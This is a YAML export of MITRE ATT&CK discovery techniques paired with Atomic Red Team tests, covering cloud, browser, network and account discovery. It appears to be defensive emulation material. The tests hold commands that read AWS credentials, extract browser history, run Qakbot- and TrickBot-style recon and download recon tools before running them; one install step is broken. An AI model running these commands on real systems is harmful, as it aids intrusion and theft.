https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. - source_name: Malwarebytes OSINT Leaky Buckets - Hioureas url: https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/ description: 'Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.' x_mitre_deprecated: false revoked: false description: |- An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services. Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas) An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Cloud Infrastructure Discovery x_mitre_detection: Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Instance: Instance Enumeration' - 'Cloud Storage: Cloud Storage Enumeration' - 'Volume: Volume Enumeration' - 'Snapshot: Snapshot Enumeration' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1580 atomic_tests: - name: AWS - EC2 Enumeration from Cloud Instance auto_generated_guid: 99ee161b-dcb1-4276-8ecb-7cfdcb207820 description: 'This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/ ' supported_platforms: - linux - macos - iaas:aws input_arguments: stratus_path: description: Path of stratus binary type: path default: "$PathToAtomicsFolder/T1580/src" aws_region: description: AWS region to detonate type: string default: us-west-2 dependency_executor_name: sh dependencies: - description: 'Stratus binary must be present at the (#{stratus_path}/stratus) ' prereq_command: 'if test -f "#{stratus_path}/stratus"; then exit 0; else exit 1; fi ' get_prereq_command: "if [ \"$(uname)\" = \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep -i Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n \ tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif [ \"$(expr substr $(uname) 1 5)\" = \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep -i linux_x86_64 | cut -d '\"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n \ tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi \n" - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo "Please install the aws-cli and configure your AWS default profile using: aws configure" ' executor: command: | export AWS_REGION=#{aws_region} cd #{stratus_path} echo "Stratus: Start Warmup." ./stratus warmup aws.discovery.ec2-enumerate-from-instance echo "Stratus: Start Detonate." ./stratus detonate aws.discovery.ec2-enumerate-from-instance cleanup_command: | cd #{stratus_path} echo "Stratus: Start Cleanup." ./stratus cleanup aws.discovery.ec2-enumerate-from-instance echo "Removing Stratus artifacts from local machine." rm -rf stratus* name: sh elevation_required: false - name: AWS - EC2 Security Group Enumeration auto_generated_guid: 99b38f24-5acc-4aa3-85e5-b7f97a5d37ac description: Simulate an attacker's action to enumerate EC2 Security Groups in a compromised AWS environment. supported_platforms: - iaas:aws input_arguments: aws_profile: description: AWS CLI profile name type: string default: default output_format: description: Desired output format (text, table, json) type: string default: json executor: name: command_prompt command: 'aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format} ' dependencies: - description: AWS CLI installed and configured with the necessary access rights. prereq_command: type aws || aws --version get_prereq_command: | if [ "$(uname)" = "Darwin" ] || [ "$(expr substr $(uname) 1 5)" = "Linux" ]; then curl "https://aws.amazon.com/cli/" -o "Install-AWSCLI.sh" && sh Install-AWSCLI.sh elif [ "$(expr substr $(uname) 1 5)" = "MINGW" ]; then Invoke-WebRequest -Uri "https://aws.amazon.com/cli/" -OutFile "Install-AWSCLI.ps1"; .\Install-AWSCLI.ps1 fi - description: Check if AWS CLI is installed and configured. prereq_command: 'aws sts get-caller-identity --profile #{aws_profile} ' get_prereq_command: | if ! aws sts get-caller-identity --profile #{aws_profile}; then echo "AWS CLI not properly configured. Please configure AWS CLI." fi T1217: technique: modified: '2023-05-09T14:00:00.188Z' name: Browser Bookmark Discovery description: |- Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill) Browser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Mike Kemmerer - Manikantan Srinivasan, NEC Corporation India - Yinon Engelsman, Talon Cyber Security - Yonatan Gotlib, Talon Cyber Security x_mitre_deprecated: false x_mitre_detection: |- Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS x_mitre_version: '2.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Access' type: attack-pattern id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1217 external_id: T1217 - source_name: Chrome Roaming Profiles description: Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023. url: https://support.google.com/chrome/a/answer/7349337 - source_name: Kaspersky Autofill description: Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023. url: https://www.kaspersky.com/blog/browser-data-theft/27871/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1217 atomic_tests: - name: List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux auto_generated_guid: 3a41f169-a5ab-407f-9269-abafdb5da6c2 description: 'Searches for Mozilla Firefox''s places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file. ' supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed. type: path default: "/tmp/T1217-Firefox.txt" executor: command: | find / -path "*.mozilla/firefox/*/places.sqlite" 2>/dev/null -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null ' name: sh - name: List Mozilla Firefox Bookmark Database Files on macOS auto_generated_guid: 1ca1f9c7-44bc-46bb-8c85-c50e2e94267b description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS) that contains bookmarks and lists any found instances to a text file. ' supported_platforms: - macos input_arguments: output_file: description: Path where captured results will be placed. type: path default: "/tmp/T1217_Firefox.txt" executor: command: | find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null ' name: sh - name: List Google Chrome Bookmark JSON Files on macOS auto_generated_guid: b789d341-154b-4a42-a071-9111588be9bc description: 'Searches for Google Chrome''s Bookmark file (on macOS) that contains bookmarks in JSON format and lists any found instances to a text file. ' supported_platforms: - macos input_arguments: output_file: description: Path where captured results will be placed. type: path default: "/tmp/T1217-Chrome.txt" executor: command: | find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null ' name: sh - name: List Google Chromium Bookmark JSON Files on FreeBSD auto_generated_guid: 88ca025b-3040-44eb-9168-bd8af22b82fa description: 'Searches for Google Chromium''s Bookmark file (on FreeBSD) that contains bookmarks in JSON format and lists any found instances to a text file. ' supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed. type: path default: "/tmp/T1217-Chrome.txt" executor: command: | find / -path "*/.config/chromium/*/Bookmarks" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null ' name: sh - name: List Google Chrome / Opera Bookmarks on Windows with powershell auto_generated_guid: faab755e-4299-48ec-8202-fc7885eb6545 description: | Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks. Upon execution, paths that contain bookmark files will be displayed. supported_platforms: - windows executor: command: 'Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force ' name: powershell - name: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt auto_generated_guid: 76f71e2f-480e-4bed-b61e-398fe17499d5 description: | Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks. Upon execution, paths that contain bookmark files will be displayed. supported_platforms: - windows executor: command: 'where /R C:\Users\ Bookmarks ' name: command_prompt - name: List Mozilla Firefox bookmarks on Windows with command prompt auto_generated_guid: 4312cdbc-79fc-4a9c-becc-53d49c734bc5 description: | Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database. Upon execution, paths that contain bookmark files will be displayed. supported_platforms: - windows executor: command: 'where /R C:\Users\ places.sqlite ' name: command_prompt - name: List Internet Explorer Bookmarks using the command prompt auto_generated_guid: 727dbcdb-e495-4ab1-a6c4-80c7f77aef85 description: This test will list the bookmarks for Internet Explorer that are found in the Favorites folder supported_platforms: - windows executor: command: 'dir /s /b %USERPROFILE%\Favorites ' name: command_prompt - name: List Safari Bookmarks on MacOS auto_generated_guid: 5fc528dd-79de-47f5-8188-25572b7fafe0 description: 'This test searches for Safari''s Bookmarks file (on macOS) and lists any found instances to a text file. ' supported_platforms: - macos input_arguments: output_file: description: Path where captured results will be placed. type: path default: "/tmp/T1217-Safari.txt" executor: command: "find / -path \"*/Safari/Bookmarks.plist\" 2>/dev/null >> #{output_file} \ncat #{output_file} \n" cleanup_command: 'rm -f #{output_file} 2>/dev/null ' name: sh - name: Extract Edge Browsing History auto_generated_guid: 74094120-e1f5-47c9-b162-a418a0f624d5 description: 'This test will extract Microsoft Edge browser''s history of current user ' supported_platforms: - windows input_arguments: history_path: description: Microsoft Edge browser history file path type: String default: "$Env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\\History" dest_path: description: Target file path to where the history to be extracted type: String default: "$Env:USERPROFILE\\Downloads\\edgebrowsinghistory.txt" executor: command: | $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path "#{history_path}" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath "#{dest_path}" cleanup_command: 'Remove-Item -Path "#{dest_path}" ' name: powershell elevation_required: true - name: Extract chrome Browsing History auto_generated_guid: cfe6315c-4945-40f7-b5a4-48f7af2262af description: 'This test will extract browsing history of the chrome user ' supported_platforms: - windows executor: command: | $Username = (whoami).Split('\')[1] $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt" cleanup_command: 'Remove-Item -Path "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt" ' name: powershell elevation_required: true T1016: technique: modified: '2023-07-28T14:40:54.580Z' name: System Network Configuration Discovery description: "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, (LinkById: T1059.008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.6' x_mitre_data_sources: - 'Command: Command Execution' - 'Script: Script Execution' - 'Process: Process Creation' - 'Process: OS API Execution' type: attack-pattern id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0 created: '2017-05-31T21:30:27.342Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1016 external_id: T1016 - source_name: 'Mandiant APT41 Global Intrusion ' description: 'Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.' url: https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1016 atomic_tests: - name: System Network Configuration Discovery on Windows auto_generated_guid: 970ab6a1-0157-4f3f-9a73-ec4166754b23 description: | Identify network configuration information Upon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout. supported_platforms: - windows executor: command: | ipconfig /all netsh interface show interface arp -a nbtstat -n net config name: command_prompt - name: List Windows Firewall Rules auto_generated_guid: '038263cb-00f4-4b0a-98ae-0696c67e1752' description: | Enumerates Windows Firewall Rules using netsh. Upon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout. supported_platforms: - windows executor: command: 'netsh advfirewall firewall show rule name=all ' name: command_prompt - name: System Network Configuration Discovery auto_generated_guid: c141bbdb-7fca-4254-9fd6-f47e79447e17 description: | Identify network configuration information. Upon successful execution, sh will spawn multiple commands and output will be via stdout. supported_platforms: - macos - linux dependency_executor_name: sh dependencies: - description: 'Check if arp command exists on the machine ' prereq_command: 'if [ -x "$(command -v arp)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: "(which yum && yum -y install net-tools)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y net-tools)\n" executor: command: | if [ "$(uname)" = 'FreeBSD' ]; then cmd="netstat -Sp tcp"; else cmd="netstat -ant"; fi; if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi; if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi; if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi; if [ -x "$(command -v netstat)" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi; name: sh - name: System Network Configuration Discovery (TrickBot Style) auto_generated_guid: dafaf052-5508-402d-bf77-51e0700c02e2 description: | Identify network configuration information as seen by Trickbot and described here https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/ Upon successful execution, cmd.exe will spawn `ipconfig /all`, `net config workstation`, `net view /all /domain`, `nltest /domain_trusts`. Output will be via stdout. supported_platforms: - windows executor: command: | ipconfig /all net config workstation net view /all /domain nltest /domain_trusts name: command_prompt - name: List Open Egress Ports auto_generated_guid: 4b467538-f102-491d-ace7-ed487b853bf5 description: | This is to test for what ports are open outbound. The technique used was taken from the following blog: https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/ Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt. supported_platforms: - windows input_arguments: output_file: description: Path of file to write port scan results type: path default: "$env:USERPROFILE\\Desktop\\open-ports.txt" portfile_url: description: URL to top-128.txt type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/top-128.txt port_file: description: The path to a text file containing ports to be scanned, one port per line. The default list uses the top 128 ports as defined by Nmap. type: path default: PathToAtomicsFolder\T1016\src\top-128.txt dependency_executor_name: powershell dependencies: - description: 'Test requires #{port_file} to exist ' prereq_command: 'if (Test-Path "#{port_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{port_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "#{portfile_url}" -OutFile "#{port_file}" executor: command: "$ports = Get-content \"#{port_file}\"\n$file = \"#{output_file}\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n \ $test = new-object system.Net.Sockets.TcpClient\n $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n \ $totalports++ | Out-Null\n if ($test.Connected) {\n $result = \"$port open\" \n Write-Host -ForegroundColor Green $result\n $result | Out-File -Encoding ASCII -append $file\n $totalopen++ | Out-Null\n \ }\n else {\n $result = \"$port closed\" \n Write-Host -ForegroundColor Red $result\n $totalclosed++ | Out-Null\n $result | Out-File -Encoding ASCII -append $file\n }\n}\n$results = \"There were a total of $totalopen open ports out of $totalports ports tested.\"\n$results | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n" cleanup_command: 'Remove-Item -ErrorAction ignore "#{output_file}" ' name: powershell - name: Adfind - Enumerate Active Directory Subnet Objects auto_generated_guid: 9bb45dd7-c466-4f93-83a1-be30e56033ee description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=subnet) #{optional_args} ' name: command_prompt - name: Qakbot Recon auto_generated_guid: 121de5c6-5818-4868-b8a7-8fd07c455c1b description: A list of commands known to be performed by Qakbot for recon purposes supported_platforms: - windows input_arguments: recon_commands: description: File that houses list of commands to be executed type: path default: PathToAtomicsFolder\T1016\src\qakbot.bat dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{recon_commands}) ' prereq_command: 'if (Test-Path "#{recon_commands}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{recon_commands}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/qakbot.bat" -OutFile "#{recon_commands}" executor: command: '"#{recon_commands}" ' name: command_prompt - name: List macOS Firewall Rules auto_generated_guid: ff1d8c25-2aa4-4f18-a425-fede4a41ee88 description: "\"This will test if the macOS firewall is enabled and/or show what rules are configured. Must be run with elevated privileges. Upon successful execution, these commands will output various information about the firewall configuration, including status and specific port/protocol blocks or allows. \n\nUsing `defaults`, additional arguments can be added to see filtered details, such as `globalstate` for global configuration (\\\"Is it on or off?\\\"), `firewall` for common application allow rules, and `explicitauths` for specific rules configured by the user. \n\nUsing `socketfilterfw`, flags such as --getglobalstate or --listapps can be used for similar filtering. At least one flag is required to send parseable output to standard out. \n" supported_platforms: - macos executor: command: | sudo defaults read /Library/Preferences/com.apple.alf sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate name: bash elevation_required: true - name: DNS Server Discovery Using nslookup auto_generated_guid: 34557863-344a-468f-808b-a1bfb89b4fa9 description: | Identify System domain dns controller on an endpoint using nslookup ldap query. This tool is being abused by qakbot malware to gather information on the domain controller of the targeted or compromised host. reference https://securelist.com/qakbot-technical-analysis/103931/ supported_platforms: - windows executor: command: 'nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN% ' name: command_prompt T1087: technique: modified: '2024-01-12T23:36:56.245Z' name: Account Discovery description: |- Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)). Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Daniel Stepanic, Elastic - Microsoft Threat Intelligence Center (MSTIC) - Travis Smith, Tripwire x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace x_mitre_version: '2.4' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Access' type: attack-pattern id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08 created: '2017-05-31T21:31:06.988Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1087 external_id: T1087 - source_name: AWS List Users description: Amazon. (n.d.). List Users. Retrieved August 11, 2020. url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html - source_name: Google Cloud - IAM Servie Accounts List API description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020. url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list - source_name: Elastic - Koadiac Detection with EQL description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.' url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1482: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Dave Westgard - Elia Florio, Microsoft - Mnemonic - RedHuntLabs, @redhuntlabs - ExtraHop object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0 created: '2019-02-14T16:15:05.974Z' x_mitre_version: '1.2' external_references: - source_name: mitre-attack external_id: T1482 url: https://attack.mitre.org/techniques/T1482 - source_name: Microsoft Operation Wilysupply url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019. - source_name: AdSecurity Forging Trust Tickets url: https://adsecurity.org/?p=1588 description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019. - source_name: Microsoft Trusts url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019. - source_name: Microsoft GetAllTrustRelationships url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships description: 